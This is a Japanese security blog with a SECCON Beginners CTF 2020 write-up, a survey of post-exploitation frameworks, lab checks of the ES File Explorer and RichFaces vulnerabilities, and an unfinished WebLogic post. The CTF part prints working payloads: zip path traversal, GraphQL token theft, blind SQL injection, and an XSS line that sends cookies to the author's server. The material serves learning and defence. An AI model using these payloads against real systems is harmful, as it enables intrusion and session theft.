SECCON Beginners CTF 2020 Writeup
久しぶりにちゃんとCTFに参加したので、Writeup書いてみます。
emoemoencode (Misc: 53)
Do you know emo-emo-encode? emoemoencode.txt
テキストファイルの中身は以下の絵文字が並んだもの。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
これをデコードしてフラグを得る
まず、ユニコードの表を見てみる。
Unicode/UTF-8-character table - starting from code position 1F340
ファイルの絵文字を見ると、SUSHI⇒FORK AND KNIFE⇒SOFT ICE CREAM となっている。
Unicode code point | character | UTF-8 | name |
---|---|---|---|
U+1F363 | 🍣 | f0 9f 8d a3 | SUSHI |
U+1F374 | 🍴 | f0 9f 8d b4 | FORK AND KNIFE |
U+1F366 | 🍦 | f0 9f 8d a6 | SOFT ICE CREAM |
このUnicode code pointの末尾がasciiでctfとなっていることから、ここがフラグではないかと予想を立て、復号する。
encoded_file = open('emoemoencode.txt-2586093c6d0bf61e0babf4d142c2418fb243b188', 'r', encoding='utf-8') content = encoded_file.read() flag = '' for c in content: flag += chr(int(format(ord(c), '#08x')[-2:], 16)) print(flag)
- Flag
ctf4b{stegan0graphy_by_em000000ji}
所感
久しぶりのCTFだったので、さらっと肩慣らしに解いてみた問題です。最初にTerapadで開いたら、絵文字に対応してなくて、何も表示されず、絵文字を気づくまでにちょっとかかりました。 実際にはスクリプトを書く前に手動でデコードしたことは秘密です。
unzip (Web: 188)
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint: index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint (updated at 5/23 17:30) docker-compose.yml
zipファイルをアップロードすると、その中身を表示し、テキストファイルは内容を参照できるようになる。
docker-compose.ymlを見ると、/flag.txtをマウントしており、これを参照できればフラグをゲットできそう。
調べていたら、過去のCTFで似たような問題が見つかった。
hackim 2016: smasththestate (web 400) | LosFuzzys
シンボリックリンクをアップロードして、ファイルを参照するらしく、同じ方法をやってみたが、うまくいかなかった。
$ ln -s ../../flag.txt $ zip -y pwn.zip flag.txt
ソースコードを読んでいると、単純にZIP内のファイル名が「../../flag.txt」となっていれば、そこにアクセスできそうなので、そんなZIPファイルを作ってみる。
想定通りのファイルができたので、アップロードし、そのファイルにアクセスすると、フラグが得られる。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
所感
自分が始めたときにはヒントにdocker-compose.ymlが上がっていたので、あまり気にならなかったんですが、docker-compose.ymlなしで解いたチームが10チームほどいたんですよね……。 そうなると、完全にエスパー問題なので、そんな解いてるチームがあることに驚きでした。
profiler (Web: 301)
Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js
Notice: Server is periodically initialized.
登録とログインができる。
登録すると、ユーザにtokenが発行され、忘れるなと言われる。
登録したアカウントでログインすると、Profileを変更する機能があり、この変更には登録時に発行されたtokenが必要になる。
Profileと正しいtokenを入力し「Update」すると、Profileを変更できる。
「Get FLAG」のボタンを押すと、Administorator(uid:admin)でないと、使えないというエラーが表示される。
Burpで通信を見てみると、バックエンドのAPIサーバとやり取りしている。
通信の中身からGraphQLを利用しているらしいことがわかるので、GraphQLに対する攻撃を調べる。
PayloadsAllTheThingsにいい感じの内容があったので、これをもとに攻撃してみる。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
BurpでAPIのリクエストをRepeaterに送り、ペイロードを書き換えつつ攻撃する。
まず、全体のスキーマを確認する。
- リクエスト
{"query":"query {__schema{types{name}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 10:54:14 GMT Content-Type: application/json Content-Length: 318 Connection: close {"data":{"__schema":{"types":[{"name":"Query"},{"name":"User"},{"name":"ID"},{"name":"String"},{"name":"Mutation"},{"name":"Boolean"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
クエリの種類を確認する
- リクエスト
{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:02:44 GMT Content-Type: application/json Content-Length: 312 Connection: close {"data":{"__type":{"fields":[{"name":"me","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"User"}}},{"name":"someone","type":{"kind":"OBJECT","name":"User","ofType":null}},{"name":"flag","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}}],"name":"Query"}}}
通常の通信を見ていると、「me」というクエリを投げていたが、そのほかに「someone」というクエリが存在することがわかる。 これを利用すれば、adminのtokenを取得できる可能性がある。
Userに対するQueryのフィールドを調べる
- リクエスト
{"query":"query {__type (name: \"User\") {name fields{name type{name kind ofType{name kind}}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 10:57:00 GMT Content-Type: application/json Content-Length: 438 Connection: close {"data":{"__type":{"fields":[{"name":"uid","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"ID"}}},{"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"profile","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"token","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String"}}}],"name":"User"}}}
Userというクエリはuid、name、profile、tokenのフィールドを持っていることがわかった。
以上から、「someone」というクエリを使い、uidがadminのユーザのtokenを取得する。
- リクエスト
{"query":"query {someone(uid: \"admin\"){uid token name profile}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sat, 23 May 2020 12:32:36 GMT Content-Type: application/json Content-Length: 157 Connection: close {"data":{"someone":{"name":"admin","profile":"Hello, I'm admin.","token":"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b","uid":"admin"}}}
これでAdministratorのtokenを取得できたので、これをセットして、flagにアクセスすれば、フラグが得られそう。
自分のユーザにAdministratorのtokenを設定するために、Mutationを調べてみる。
- リクエスト
{"query":"query {__type (name: \"Mutation\") {name fields{name}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:09:49 GMT Content-Type: application/json Content-Length: 99 Connection: close {"data":{"__type":{"fields":[{"name":"updateProfile"},{"name":"updateToken"}],"name":"Mutation"}}}
これを見ると、ユーザのプロファイルを変更するために利用していた、「updateProfile」のほかに「updateToken」というMutationが存在している。 これを利用すれば、自分のユーザにAdministratorのtokenを設定できそう。
「updateToken」の使い方を知るために、引数などを確認する
- リクエスト
{"query":"query {__type (name: \"Mutation\") {name inputFields{name} fields(includeDeprecated: true){name description args{name}}}}"}
- レスポンス
HTTP/1.1 200 OK Server: nginx Date: Sun, 24 May 2020 11:12:03 GMT Content-Type: application/json Content-Length: 227 Connection: close {"data":{"__type":{"fields":[{"args":[{"name":"profile"},{"name":"token"}],"description":null,"name":"updateProfile"},{"args":[{"name":"token"}],"description":null,"name":"updateToken"}],"inputFields":null,"name":"Mutation"}}}
どうやら、単純にtokenフィールドをしていすれば行けそう。
やってみる。
- リクエスト
{"query":"mutation {\n updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n }"}
これで、エラーなく200 OKが返ってくれば、tokenが変更されたので、フラグにアクセスする。
- Flag
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}
所感
GaphQLに対する攻撃は初めてやりましたが、SQLインジェクションと方向はあまり変わらない印象を持ちました。GraphQLに対する攻撃としては割と単純な内容だったので、楽しかったです。
Tweetstore (Web: 150)
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
Tweetのデータ(link、本文、投稿日時)がデータベースに格納され、それを検索できる。
「search word」に単語で検索し、「search limit」で表示件数を絞れる。
ソースコードがあり、これを見ると、PostgreSQLで動いており、かつ、そのユーザ名がFlagになっていることがわかる。
また、「search word」の方はシングルクォートがエスケープされているが、「search limit」はそのまま入力を突っ込んでいるので、ここでSQLインジェクションができそう。
試しに「search limit」に「(SELECT 10)」を入れると、10件だけ表示される。
https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(SELECT%2010)
limitパラメータを「(SELECT count(usename) from pg_user)」で実行すると2件表示されることから、PostgreSQLサーバ二は2つのユーザが登録されていることがわかる。
「(SELECT count(usename) from pg_user WHERE usename LIKE '%ctf%')」のようにすると、表示件数が1件となり、フラグとなるユーザを絞ることができる。
BurpのInsruderを使い、このURLを対象として、「usename LIKE 'ctf4b{%')」以降のアルファベットを順番に変更してリクエストを投げる。
正解の文字だけ、応答のサイズが異なるため、この違いを利用して、ブラインドSQLインジェクションを行い、ユーザ名を特定すると、それがフラグとなる。
所感
という解き方をチームのメンバーが先に見つけたので、最後にフラグだけもらいました。 ブラインドSQLインジェクション力が足りなさを感じました。 他のチームのWriteupを見ると、普通に「UNION SELECT」を使ってる人もいて、まあ、そうかあ、という感じ。
Somen (Web: 421)
Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint: worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
usernameを入力すると、「Nagashi somen」か「Hiyashi somen」をランダムでお勧めしてくれる便利なサイト。
さらに2つ目の入力窓で入力した値は管理者がチェックしに来てくれる。worker.jsを見ると、その監理者のCookieにフラグが入っている。
usernameはjavascritpでページに表示されるほか、ページタイトルにもサニタイズされないまま埋め込まれるので、XSSが可能。 ただし、以下2つの障害がある。
- usernameの入力チェック(security.js)
- CSP
usernameの入力チェック は別ファイル(security.js)のjavascriptで行われ、次のようになっている。
const username = new URL(location).searchParams.get("username"); if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { document.location = "/error.php"; }
つまり、大文字小文字の英数字しか利用できない。これでは到底XSSのペイロードは作れないので、これを回避する必要がある。
CSPは以下のようになっている。
Content-Security-Policy: default-src 'none'; script-src 'nonce-1JAkHYR7skEmIz2W5jfPqQMc91U=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
「default-src」は'none'。scriptはnonceやハッシュで制限されており、バイパスは難しい。
まず、入力チェックの回避方法。titleタグの中にHTMLを挿入され、その直下に対象となるsecurity.jsを読み込んでいるscriptタグがあるので、scriptタグを無駄に一つ挿入して次のscriptタグをつぶせる。
ひとまず、以下のペイロードで、error.phpの画面に飛ばされずに、任意の文字列を挿入できることがわかった。
</title><script>
↓
<title>Best somen for </title><script></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
次にCSPのバイパスであるが、以下の記事や過去のCTFの問題を見たが、今回の問題に適用できそうな情報は見つからなかった。
Content Security Policy Level 3におけるXSS対策 - pixiv inside
CSP(コンテンツセキュリティポリシー)について調べてみた - SSTエンジニアブログ
そこで、既存のスクリプトを使って何かしらのスクリプトを挿入する必要がありそうという考えに至り、改めて、ソースコードをにらみつける作業に集中することにした。 「innerHTML」とCSPで調べ、以下の記事を見つけた。
XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
これの「Case 23: nonce + strict-dynamic」が問題の設問とかなり近く、参考になる、というかそのままな感じだった。
CSPに「strict-dynamic」が設定されているので、スクリプトから呼び出されたスクリプトは問題なく実行される。
<script nonce="<?= $nonce ?>"> const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; } </script>
上記のスクリプトでは、getElementByIdで要素を取得し、その内容を書き換えている。 そこで、getElementByIdでスクリプトタグを取得させて実行させることで、CSPをバイパスしてコード実行させる。
方針として、
- 上記のスクリプトから読んでいるタグに引っかかるようなscriptタグを挿入する
- そのscriptタグの中に自身を入れてjavascriptとして成立するようなペイロードを作成する
となる。
ということで、id="message"のスクリプトタグと、そこで実行するjavascriptを記載し、javascriptのコード部分以外はコメントアウトするという方針で以下のペイロードを作成した。
/*</title>*/alert(document.cookie)//<script id="message"></script><script>
これで、スクリプトが実行されたことを確認する。
ということで、以下のペイロードを送り付け、問題は終了。
/*</title>*/location.href='https://<自分のサーバ>/?cookie=' + document.cookie;//<script id="message"></script><script>
- Flag
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
所感
CSPのバイパスの方法をめちゃくちゃ調べたので、すごい勉強になった。 CSPのプロはこの内容なら、「strict-dynamic」を設定する必要はないのに、設定されているから、この方針で解けるみたいなことがわかったりするんだろうか……。 あと、security.jsの回避は、自分は割と早い段階で上のやり方でできたので、深く考えてなかったが、想定解はbaseタグを挿入するやり方らしい。まあ、確かにCSPに関する問題ならそうか。
全体の所感
今回割と真面目に時間とって問題に臨みましたが、Web問は全問解けたので、個人的には結構満足してます。結構自分のレベルに合った問題でした。 ようやくCTFのビギナーになれたのかもしれない。
標的型攻撃に利用されたオープンソースの Post-Exploitation フレームワークを調べてみた
とても久しぶりにブログを書いてみます。
国内外でセキュリティベンダーが標的型攻撃に関する記事を公開していますが、その中で最近、オープンソースのツールを利用した攻撃を見かけるようになりました。
今回はそうした標的型攻撃に利用されたオープンソースの Post-Exploitation フレームワークについて調べたので、その内容をまとめます。
はじめに
今回紹介しているツールはオープンソースソフトウェアとして公開されており、容易に悪用するすることができます。 今回の記事は、あくまでこうしたツールを用いた攻撃への対策を検討する際の参考なればという思いから公開しているものであり、決して悪用を促すものではありません。
また、今回の調査は個人でセキュリティの記事やブログをソースとしてまとめたものです。記事の内容の正確性は保証できません。
Post-Exploitation ツールについて
Post-Exploitation とは、その名前の通り Exploit後、つまり、攻撃者の侵入後の活動のことを言います。 具体的には、ホストの構成・設定、ネットワークや通信チャネルの把握、横展開による活動拡大、機密情報の収集などを指します。
よく利用されるツールとしては Mimikatz などが有名です。 Mimikatz なども含め、Post-Exploitation によく利用されるツールや手法をまとめたフレームワークがオープンソースのツールとしていくつか公開されています。
また、Post-Exploitation に関する情報を体系的にまとめたナレッジベースとして MITRE が開発する ATT&CK があります。
ATT&CK については こちらの記事が大変参考になります。
ATT&CK では Adversary Group(Groups)、Software、Technique、Tactics の4つの要素を関連付けます。 要素の詳細については上のリンクを参照してください。
今回は ATT&CK の4つの要素のうちの Adversary Group(Groups) と Software に関する情報、また他の公開されているブログや記事を参考として、 Post-Exploitation フレームワークについての内容をまとめました。
標的型攻撃で利用された Post-Exploitation フレームワーク
Empire
Post-Exploitation フレームワークの定番と言えるOSSです。ただし、Empire は2019年8月に開発を終了したとアナウンスしました。
Development stops on PowerShell Empire framework after project reaches its goal | ZDNet
Github のページを見ても、すでにサポートされていない旨が表示されます。
PowerShell Empire framework は Python と Powershell で作成されており、複数のプラットフォームに対応しています。各種ロガーや Mimikatz などのモジュール、Powershell なしでの Powershell スクリプト実行、ネットワーク検知を回避するための通信の設定など、多くの機能を利用しやすい形で備えています。
多くの攻撃者グループに利用されており、日本でも PowerShell Empire を利用した標的型が観測されています。
サポート終了がアナウンスされた今、攻撃者グループが別のフレームワークを利用するのか、それとも Empire を利用し続けるのかは不明です。
PowerSploit
様々な用途に合わせた Powershell スクリプトのモジュールが用意されています。以下のカテゴリに分かれています。
- CodeExecution (コード実行)
- ScriptModification (スクリプト変更)
- Persistence (永続的な感染)
- AntivirusBypass (アンチウイルス回避)
- Exfiltration (データ漏洩)
- Mayhem (混乱)
- Privesc (権限昇格)
- Recon (偵察)
ほとんどのモジュールは単一のモジュールとして利用できるようになっています。そのため、一部のモジュールを利用して別の感染や行動へ移行することも多いようです。また、こちらも改変して利用される場合もあります。
JPCERTで報告されている例では Invoke-Shellcode.ps1 というモジュールを利用し、別のマルウェアを埋め込んで感染させる事例が紹介されています。
Koadic
Koadic の特徴はインプラントの大半が Windows Script Host (JScript/VBScript) で構成されていることです。JScript/VBScript により、対象ホストを制御するため、Windows 2000 以降のすべての Windows プラットフォームで動作します。 コマンドのやり取りはCOMインターフェースを介して行われます。
APT28 で利用されたほか、APT10(menupass) でも攻撃の中に組み込まれています。
PoshC2
Powewrshell で作成されたプロキシに対応したフレームワークです。C2サーバは Python、もしくは Powershell で動きます。 Windows 向けにはさまざまな Powershell モジュールが用意されており、また、Pythonで作成された Linux/Mac 向けのバックドアも存在します。
C2サーバとの通信にもさまざまなオプションを利用することで、通信の検知を回避できるような作りになっています。
FireEyeがAPT33の攻撃のレポートの中で言及しているほか、最近は日本を狙った標的型攻撃に利用されているというレポートもあります。 また、Secureworklsが報告している中東を標的とした攻撃キャンペーンでは、PoshC2 の Powershell モジュールの一部が利用されていました。
Pupy
Pupy は Python で作成されたクロスプラットフォームのフレームワークで、Windows、Linux の他、MacOS、Android にも一部対応しています。 メモリ上で展開したコードを実行するため、侵入の痕跡は最小限で済みます。
APT33 や Magic Hound と呼ばれるイランの攻撃者グループによって利用されていたようです。
QuasarRAT
QuasarRAT はドイツの開発者である MaxXor 氏が開発した xRAT の後継です。 C# で実装されたオープンソースのRAT(remote access tool)であり、.NET を利用しているので、インストール先のクライアントに .NET Framework 4.0 が必要になります。
書いてはみたけど、こちらは Post-Exploitation フレームワークとは少し違うのかなと、後で思いました。 ただ、他のオープンソースのツールを一緒に標的型攻撃に利用されることがあるので、一応載せています。
標的型攻撃で様々なバージョンの QuasarRAT が用いられていることが確認されています。中にはソースコードを改変し、難読化や検知回避が試みられていることもあります。 また、標的型攻撃以外でも、最近はばらまき型のスパムメールを使ってQuasarRAT をベースに作成されたと思われるマルウェア配信している事例も見かけます。
またスペルミス… #QuasarRat でした。
— bom (@bomccss) September 20, 2019
QuasarRatは.NET FrameworkベースのオープンソースRATのようです。
日本では標的型で利用されたという報告もありますが、オープンソースであり当然ばらまきでも使われてしまいます。https://t.co/oEfIHbKCU6https://t.co/VSwf4som1H
SILENTTRINITY
Python 3、IronPython と .NET で作成されています。.NET 互換言語で記述されたペイロードをロードできるため、柔軟に機能を追加することができます。 例えば、IronPython を利用して、Python を使って自由度の高いインプラントを作成できます。 現在は C2サーバとの通信には HTTP 1.1 のみがサポートされています。
最近、クロアチアの政府機関に対する標的型攻撃へ利用されたことが報じられています。
- Croatia government agencies targeted with news SilentTrinity malwareSecurity Affairs
- Croatian government targeted by mysterious hackers | ZDNet
その他 Post-Exploitation フレームワーク
紹介したフレームワーク以外にも標的型攻撃などでよく利用されるものとして、商用のペネトレーションテスト用のフレームワークである Cobalt Strike があります。 いろいろな場所で耳にするフレームワークなのですが、商用のため、私自身はあまり詳しくありません。
- APT攻撃者グループ menuPass(APT10) による新たな攻撃を確認 | セキュリティ対策のラック
- Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group
- https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
また、他のオープンソースの Post-Exploitation フレームワークとして、以下のようなものもあります。
- APfell
- Faction C2
- Merlin
- Silver
- TrevorC2
攻撃者によって利用されたという報告はありませんが、これらのフレームワークに関しても、今後誰にどのように利用されるかはわかりません。 上記以外にも、新しい Post-Exploitation のツールやフレームワークが登場しており、EmpireProject のサポート終了など、オープンソースツールの状況も変化しています。
今後もこうした Post-Exploitation フレームワークを利用した攻撃には注意を払う必要がありそうです。
結論
標的型攻撃に利用されたオープンソースの Post-Exploitation フレームワークについて調査しました。
攻撃者がこのようなオープンソースのフレームワークを利用するメリットとして、
といった点が考えられます。
こうしたツールの多くはそもそもセキュリティを高めるためのペネトレーションテスト用に開発されました。
いくつかのツールを触ってみるとわかるのですが、単純に攻撃にしやすさ、使いやすさだけでなく、守る側の視点が考慮されており、設定やオプションを駆使されると、検知や防御がやりにくいものが多いです。
単純な通信の検知だけでなく、よく言われる多層防御の必要性がよくわかります。 SOC や Blue Team の人間であれば、攻撃者がどのように侵入し、活動するのかを理解するためにも、一度こうしたツールを触ってみることをお勧めします。
今回はまとめただけですが、今後はツールの検証などをやって守る側の視点として、どのような対策を講じることができるかを検討してみたいとは考えています。
今後ブログでその内容を公開するかについては未定です。そういうことをやりすぎると、今の日本だといつどこかの警察が尋ねてくるとも限らないので……。
参考
http://pentestit.com/list-of-open-source-c2-post-exploitation-frameworks/
EncodedCommandによるPowerShell攻撃を暴く - Palo Alto Networks
Androidアプリ : ES ファイルエクスプローラーの脆弱性(CVE-2019-6447)を調べてみた
今回は個人的に興味を持ったAndroidアプリの脆弱性を調べてみました。
きっかけは以下のTweetです。
With more than 100,000,000 downloads ES File Explorer is one of the most famous #Android file manager.
— Elliot Alderson (@fs0c131y) 2019年1月16日
The surprise is: if you opened the app at least once, anyone connected to the same local network can remotely get a file from your phone https://t.co/Uv2ttQpUcN
ES ファイルエクスプローラー という1億以上のダウンロード数のある人気アプリに脆弱性があり、端末内のファイルをネットワーク経由で盗み出すなどができるようです。
ES ファイルエクスプローラー - Google Play のアプリ
PoCが公開されており、影響範囲には現時点の最新バージョンも含まれて、アップデートはまだ提供されていないようです。
この ES ファイルエクスプローラー ですが、私自身以前利用しており、割と使い勝手はよかったと記憶しています。
ただ、一時期「中国に情報を送っている」みたいなよくある曖昧な噂が流れて、ちょっと心配になり、別のアプリに移行しました。
ということで今回、一度アンインストールしたそのアプリを再インストールして、どのような脆弱性なのかを確認してみました。
検証
インストールします
今回は、私の古いタブレットで検証しました。 IPは「192.168.0.7」となっています。
ES ファイルエクスプローラー を起動すると、59777ポートでHTTPを待ち受けるようになります。
nmap を打ってみると、確かにポートが開いていることが確認できます。
上がES ファイルエクスプローラーを起動する前で、下が起動した後です。
ブラウザでアクセスすると、以下のような表示がされました。
ちなみに、一度ES ファイルエクスプローラーを起動すると、このポートはずっと待ち受けるようで、アクティビティを殺しても、端末を再起動してもバックグラウンドサービスとして動き続けているようでした。 インストールして一度起動した時点で、それ以降、いつでも攻撃を受ける可能性があるということになります。
ここに特殊な json のリクエストを投げると、様々な攻撃が行えるとのことです。 具体的には現在公開されているPoCで、以下のようなことができます。
- ファイル一覧の取得
- 指定したファイルの取得
- インストール済みアプリの一覧の取得
- インストール済みアプリのapkパッケージの取得
画像ファイル一覧を取得してみます。
画像ファイルの一覧がずらっと表示されます。 その中のファイルを取得します。
確かに端末内のファイルを取り出すことができました。
攻撃者は端末と同一のLAN内にさえいれば、ES ファイルエクスプローラーが動いている端末内のファイルを自由に取り出すことができるようです。
不特定多数の人が接続可能なWifi環境下では攻撃者により知らない間に端末内に保存した写真などが盗み出されている可能性もあります。
解析
アプリのapkファイルを取り出して簡単に中身を解析してみました。
再び脆弱性をついてapkファイルを取り出します(便利!)。
apkファイルを unzip し、dexファイルをdex2jar で jarファイルに変換し、JD-GUI でデコンパイルしたソースファイルを確認します。
同時に apktool でデコードした中身に対してそれらしい文字列でgrepをかけていくと、サーバとして待ち受けているっぽい箇所がわかります。
以下はコマンドを受け付けるコードです。
コードを見ると、なんか認証しようとしてるっぽい if文が見えます。 ただ、今回のコマンド受付けとは関係なさそうです。
ちなみに、待ち受けているコマンドは以下の通り。
- listFiles
- listPics
- listVideos
- listApps
- listAppsSystem
- listAppsPhone
- listAppsSdcard
- listAppsAll
- getAppThumbnail
- appLaunch
- appPull
- getDeviceInfo
何ができるかは大体予想がつきますね。
脆弱性の根本的な原因はHTTPで待ち受け、認証もなしに情報を取得できてしまうことにあります。
そもそも何のためにHTTPの待ち受けを行っているのでしょうか?
アプリの機能の説明には「ローカル/インターネット管理」といった記載があるので、この辺りの機能に関連しそうですが、詳細についてはどこにも記載が見当たりません。
こういう機能はせめてユーザ側で有効/無効を切り替えられるようにすべきじゃないかと思っており、この辺りは設計上の不備ではないかと考えています。
対策
というほどのものはないけれど、少なくとも現時点で脆弱性に対応したアップデートが出ていないことを考えると、しばらくは利用を控える(アンインストールする)というのがよいかと思います。
開発チームはこの脆弱性を認識しており、近いうちに修正はされるそうです。
ちなみに私が今は X-plore File Manager というやつを使っています。宣伝でもなんでもないですし、安全かと言われれば、はっきり答えられる自信はありませんが、参考になれば……。
以上です。
追記(2018/01/19)
アップデートバージョン(バージョン 4.1.9.9)が配信され、脆弱性が修正されました。
ポートは依然開いたままですが、PoCを打ってみると、500エラーが返ってきました。
更新されたソースを見ると、ちゃんと追ってないですが、コマンドを受け付ける前に、認証か何かの処理を入れたようです。
ひとまず、この脆弱性については、対処されました。 (ただ、別の脆弱性を指摘している方もいるので、そっちがどうなっているかはわかりません)
JBOSS Richfacesの脆弱性(CVE-2018-14667)を検証してみた
久しぶりの検証記事です。
今回は JBOSS RIchfaces というフレームワークの脆弱性ですが、このフレームワークは2016年6月でEOLを迎えており、すでにサポートは終了しています。
RichFaces End-Of-Life Questions & Answers |JBoss Developer
そのため、パッチなどのリリースはなく、万が一脆弱性のあるフレームワークを利用している場合、すぐに別のフレームワークへの移行が推奨されます。
CVE-2018-14667
UserResource を通じて、シリアライズ化されたJAVAのオブジェクトを利用してリモートから認証なしでコード実行を行うことが可能となります。
影響を受けるバージョン
- RichFaces Framework 3.X through 3.3.4 (all versions)
検証
色々試したのですが、アプリケーションサーバなどの環境によって条件が異なるようで、公開されているPoCでうまくいくものといかないものがありました。
とりあえず以下のリンクの通りに試したものは成功しました。
リンクにある環境を以下のような Dockerfile にしました。
FROM java:8-jdk RUN apt-get update && apt-get install -y wget unzip --no-install-recommends && \ rm -rf /var/lib/apt/lists/* COPY ./jboss-5.1.0.GA.zip /tmp/ RUN unzip /tmp/jboss-5.1.0.GA.zip -d /opt/ && \ wget http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip -P /tmp/ && \ unzip /tmp/richfaces-examples-3.3.4.Final.zip -d /tmp/ && \ mv /tmp/richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear /opt/jboss-5.1.0.GA/server/default/deploy/ && \ rm -rf /tmp/* EXPOSE 8080 CMD ["/opt/jboss-5.1.0.GA/bin/run.sh", "-b", "0.0.0.0"]
アプリケーションサーバとして、JBoss AS 5.1.0.GA(jboss-5.1.0.GA.zip) を用意します。
それをDockerfileと同じディレクトリにおいてビルドします。
docker build -t richfaces-sample .
出来上がったイメージを起動します。
docker run -d -p 8080:8080 richfaces-sample
これで http://localhost:8080/ にアクセスすると、JBOSS AS の画面が表示されます。
今回の検証の対象となるアプリケーションは richfaces のサンプルアプリケーションの photoalbum です。
http://localhost:8080/photoalbum/ にアクセスします。
開発者コンソールを開いた状態で、このサイトにアクセスすると、「/DATA/」から始まる長い文字列を含むURLがあります。
この「/DATA/」以降の文字列が、シリアライズ化したJAVAのオブジェクトとなっており、ここに細工した Expression Language (EL) オブジェクトを投げると、それを解釈してコード実行が行われます。
ここで、「/DATA/」以降に適当な値を入れてアクセスすると、その値をJAVAオブジェクトとして正しく認識できずにエラーが返ってきます。
では、PoCを投げてみます。
PoCは上記のリンクにありますが、同様のURLの「/DATA/」以降の文字列を細工したものになっています。
ここでの実行コマンドは「touch /tmp/richfaces0day_joaomatosf」です。
正しく処理が行われ、レスポンスとして200が返ってきます。
ということで、コンテナの中に入って、コマンドが実行されていることを確認します。
コマンドが実行され、「/tmp」配下にファイルが作成されました。
このURLに含まれる長い文字列ですが、これはシリアライズ化したオブジェクトをzlibで圧縮し、BASE64でエンコードしたものとなっています。
そのため、以下のようにして逆処理をしてやると、シリアライズ化されたオブジェクトが現れ、実行コマンドが確認できるようになります(念のため、ペイロードを一部マスクしています)。
後、この辺りあまりちゃんと理解できていないのですが、インジェクションするオブジェクトである javax.el.MethodExpression の「serialVersionUID」というパラメータが共通のものがないため、PoC生成の段階でアプリケーション毎に別の値を指定してやる必要があるようです。
そのため、攻撃先の環境によって、別々の値を指定する必要があり、共通のPoCが利用できないようです。
以下の検証動画ではアプリケーションサーバとして、Tomcat 8 を利用している場合と、JBOSS EAP を利用している場合の検証が行われいます。
まとめ
シリアライズ関係の脆弱性は理解しにくいところがあって、なかなか難しいです。 JAVAオブジェクトをシリアライズ化してそのままやり取りするようなアプリケーションは危険だということは理解していますが、今回のようなURLに一見してわからない形で入ってくることもあるんですね。この場合、通常通信と攻撃通信が見ただけで判断できないのがちょっと辛いです。
すでにEOLを迎えているフレームワークであり、利用しているところはないだろうと思ってはいますが……。
参考
Red Hat JBoss EAP RichFaces - unserialize + el = RCE - 【CVE-2018-14667】 - 先知社区
2018年7月の定期パッチで修正されたOracle WebLogic Server の脆弱性(CVE-2018-2894)について
7月のOracleの定期のパッチリリースでいくつか脆弱性の修正が入りました。
危険度の高い脆弱性として、以下の2つがあり、いずれも攻撃コードが公開されています。
- CVE-2018-2893
WLS Core Components の脆弱性でT3プロトコルを利用してネットワーク経由でコード実行ができます。 T3プロトコルはこれまでいくつかリモートからのコード実行の脆弱性が見つかっており、運用しているシステムでは無効化しておくのが無難かと思います。
- CVE-2018-2894
WLS - Web Servicesの脆弱性。2017年10月に公開された脆弱性(CVE-2017-10271)と同じコンポーネントでHTTP経由でコード実行が可能な脆弱性。 こちらはHTTPなので、対象のモジュールが動いていて、そのパスが存在していたら危ないです。
影響を受けるバージョン
サポートされている Oracle WebLogic Server で影響を受けるのは以下のバージョン
- 10.3.6.0
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
脆弱性検証
PoCが公開されているCVE-2018-2894の脆弱性の検証を行いました。
